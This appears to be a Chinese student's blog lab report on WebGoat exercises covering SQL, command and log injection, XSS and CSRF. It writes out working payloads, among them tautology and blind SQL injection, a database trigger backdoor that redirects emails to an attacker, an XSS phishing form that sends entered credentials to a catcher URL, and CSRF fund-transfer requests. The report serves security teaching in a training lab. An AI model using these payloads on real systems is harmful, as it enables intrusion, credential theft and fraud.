20164301

导航

Exp9 Web安全基础

Exp9 Web安全基础


 Injection Flaws攻击

  • 命令注入(Command Injection)
  • 数字型SQL注入(Numeric SQL Injection)
  • 日志欺骗(Log Spoofing)
  • stage1 SQL Injection 
  • 字符串型注入(String SQL Injection)
  • 数据库后门(Database Backdoors)
  • 数字型盲注入(Blind Numeric SQL Injection)

XSS攻击

  • Phishing with XSS 
  • Stored XSS Attacks 
  • Reflected XSS Attacks 

CSRF攻击

  • Cross Site Request Forgery(CSRF)
  • CSRF Prompt By-Pass

 1.实践过程记录

 安装jdk和webgoat

卸载原jdk,更换jdk版本为1.8,通过java -version检测

下载webgoat-container-7.0.1-war-exec.jar文件

使用netstat -tupln | grep 8080查看端口是否被占用,如果被占用,用kill 进程号终止占用8080端口的进程。

在含有“webgoat-container-7.0.1-war-exec.jar”文件的目录下执行java -jar webgoat-container-7.0.1-war-exec.jar

在浏览器中输入“http://localhost:8080/WebGoat”,进入页面后,使用提供的用户名密码登录;

 


 

Injection Flaws攻击

1.命令注入(Command Injection)

点击 Injection Flaws -> Command Injection

右键点击复选框,选择inspect Element。对源代码进行修改,在"helpfile"后添加"& netstat -an & ipconfig"。

 点击view,查看命令执行结果

 

 

2.数字型SQL注入(Numeric SQL Injection)

点击 Injection Flaws -> Numeric SQL Injectio

右键点击复选框,选择inspect Element。对源代码value="101"修改,在101后面添加or 1=1。

 

 点击Go,攻击成功

 

3.日志欺骗(Log Spoofing)

点击Injection Flaws -> Log Spoofing

在User Name中输入webgoat%0d%0aLogin Succeeded for username: admin

输入密码后点击Login,可以看到webgoat在Login Fail上一行,自己添加的语句在下一行,攻击成功

 

4. stage1 SQL Injection 

点击Injection Flaws -> LAB stage1 :String SQL Injection

在密码框输入' or 1=1 --,登录失败,发现密码输入长度有限制。

密码框右键选择inspect Element对长度进行修改maxlength=20。

 重新输入' or 1=1 --,攻击成功

 

5.字符串型注入(String SQL Injection)

点击Injection Flaws -> String SQL Injection

输入' or 1=1--,即插入永真式1=1,且--注释掉后面的内容,select表中所有数据

 

 

6.数据库后门(Database Backdoors)

 点击Injection Flaws -> Database Backdoors

 

 输入101,获得用户信息

 

 输入101; update employee set salary=10000

创建触发器,触发器在创建新用户时,将新用户的Email 地址设置为攻击者的地址。 

101;CREATE TRIGGER 1BackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE

employee SET email='chm@sohu.com' WHERE userid = NEW.userid

 

7.数字型盲注入(Blind Numeric SQL Injection)

点击Injection Flaws ->Blind Numeric SQL Injection

有些SQL注入只能通过条件的“真”和“假”进行判断,即页面提示有效或无效。

但也可以利用系统后台在用的查询语句:SELECT * FROM user_data WHERE userid=accountNumber;求pin值

输入查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。

输入101 ,页面返回Account number is valid,页面将提示帐号有效

 

利用AND函数,并上查询条件,若条件为真,则返回结果应提示帐号有效,否则无效

输入可以判断PIN数值是否大于3000的语句,101 AND ((SELECT pin FROM pins

WHEREcc_number='1111222233334444') > 10000 );

如果页面提示帐号有效,说明PIN>3000 否则 PIN<=3000

 

利用二分法,不断尝试最终求出PIN 的值。最终如下语句返回帐号有效:101 AND ((SELECT pin FROM pins

WHEREcc_number='1111222233334444') = 2364 );

 

 


 

XSS攻击

1.Phishing with XSS 

 

利用xss和html注入制作一个钓鱼网站

 

在搜索框中输入XSS攻击代码,在已存在的页面中进一步添加元素。XSS攻击代码如下:

</form>
<script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

在搜索框中输入攻击代码后点击搜索,出现要输入用户名密码的表单

输入用户名密码,点击登录,WebGoat显示攻击成功

 

2.Stored XSS Attacks 

创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容,

在message中输入<script>alert("lxm attack succeed!");</script>,提交

 

 提交后,再次点击刚刚创建的123帖子,成功弹出窗口,说明攻击成功:

 

3.Reflected XSS Attacks 

 

 这个实验和存储型XSS实验效果相同,但存储型XSS攻击代码是存储在服务器中,反射型XSS攻击需要用户自己去点击链接才能触发XSS代码。

 

将带有攻击性的URL作为输入源,输入<script>alert("attack succeed!");</script>,点击purchase;

 

 


 

CSRF攻击

1.Cross Site Request Forgery(CSRF)

写一个URL诱使其他用户点击,从而触发CSRF攻击,以图片的的形式将URL放进Message框,当用户点击图片,就会触发CSRF。

在message框中输入代码<img src="http://localhost:8080/WebGoat/attack?Screen=325&menu=900&transferFunds=4000"/>

Screen=325&menu=900在右侧可见

提交后,消息显示转走用户4000元,实现CSRF攻击。

 

 

2.CSRF Prompt By-Pass

在message中写入以下两行攻击代码

<iframe src="attack?Screen=280&menu=900&transferFunds=5000"> </iframe>

<iframe src="attack?Screen=280&menu=900&transferFunds=CONFIRM"> </iframe>

构造CSRF攻击,包括了两个请求,转账请求和确认转账成功请求,传递两个参数给服务器

transferFunds=5000,transferFunds=CONFIRM

攻击成功

 

 


2.回答问题

(1)SQL注入攻击原理,如何防御

原理:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的。

如何防御:对代码进行处理,使用正则表达式过滤传入的参数,对一些包含sql注入的关键字进行过滤;采用字符串过滤;jsp中调用该函数检查是否包含非法字符。

(2)XSS攻击的原理,如何防御

原理:代码注入,XSS攻击允许恶意用户将代码注入到网页上,并能够被浏览器成功的执行,获取目标攻击网站cookie,使其他用户受到影响。

如何防御:在表单提交或者url参数传递前,对需要的参数进行过滤;检查用户输入的内容中是否有非法内容。

(3)CSRF攻击原理,如何防御

原理:CSRF是借用用户的身份,向web server发送请求,跨站请求伪造。

如何防御:输入验证码来检测用户;设定cookie域。


 3.实验总结与体会

 通过本次实验,了解了SQL注入攻击,XSS攻击和CSRF的基本原理和操作。在webgoat上的简单注入,修改代码的练习,增加了我对三种攻击方式的理解,

 提高了安全意识。

 

posted on 2019-05-25 20:08  20164301  阅读(172)  评论(0编辑  收藏  举报